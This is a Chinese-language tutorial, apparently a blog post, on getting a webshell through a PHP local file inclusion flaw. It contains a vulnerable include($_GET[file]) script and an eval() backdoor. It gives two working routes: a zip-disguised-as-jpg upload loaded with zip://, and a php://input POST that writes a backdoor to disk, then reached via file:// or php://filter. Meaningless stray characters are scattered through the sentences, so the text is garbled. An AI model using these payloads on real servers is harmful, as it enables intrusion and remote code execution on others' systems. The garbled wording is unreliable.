一張簡單的圖就能看懂
更詳細的解讀:http://www.freebuf.com/column/148886.html
如何獲得一個webshell?
假設文件包含漏洞文件test.php的后臺代碼為:
<?php
include($_GET[file]);
?>
- 如果該站點有文件上傳功能,則可以結(jié)合上傳功能和本地文件包含漏洞獲得webshell,下面提供使用zip://協(xié)議的一種方法
具體步驟:(此處用上傳圖片功能舉例频祝,具體上傳的繞過在此處不考慮)
- 新建一個shell.php
<?php
@eval($_GET[value]);
?>
- 把shell.php份帐,壓縮成shell.zip,修改拓展名為shell.jpg匾荆,然后上傳,假設上傳的目錄為upload
- 則webshell為:
http://xxxxx/test.php?file=zip://upload/shell.jpg%23shell.php
#xxxxx為目標ip或者域名
2.如果該站點沒有文件上傳功能塘辅,但是allow_url_include=On的話绝页,可以使用php://input在目標機的一個可寫目錄下面寫一個shell.php
- 先查看allow_url_include的狀態(tài)荠商,這個可以查看phpinfo里面的信息,不然就先假設它是On吧
- 找到目標機上一個可寫的目錄续誉,這里假設為/root/hello
- 使用firefox里面的hackbar插件莱没,或者burpsuite代理
#url
http://xxxxx/test.php?file=php://input
#POST
<?php fputs(fopen('/root/hello/shell.php','w'),'<?php @eval($_POST[v]);?>')?>
- 發(fā)現(xiàn)成功在/root/hello里面得到了shell.php
- 然后此處要連接shell.php,但是直接訪問
http://xxxxx/../../../root/hello/shell.php
是不行的酷鸦,此處建議使用file://或者php://filter
#file
http://xxxxx/test.php?file=file:///root/hello/shell.php
#php://filter
http://xxxxx/test.php?file=php://filter/resource=/root/hello/shell.php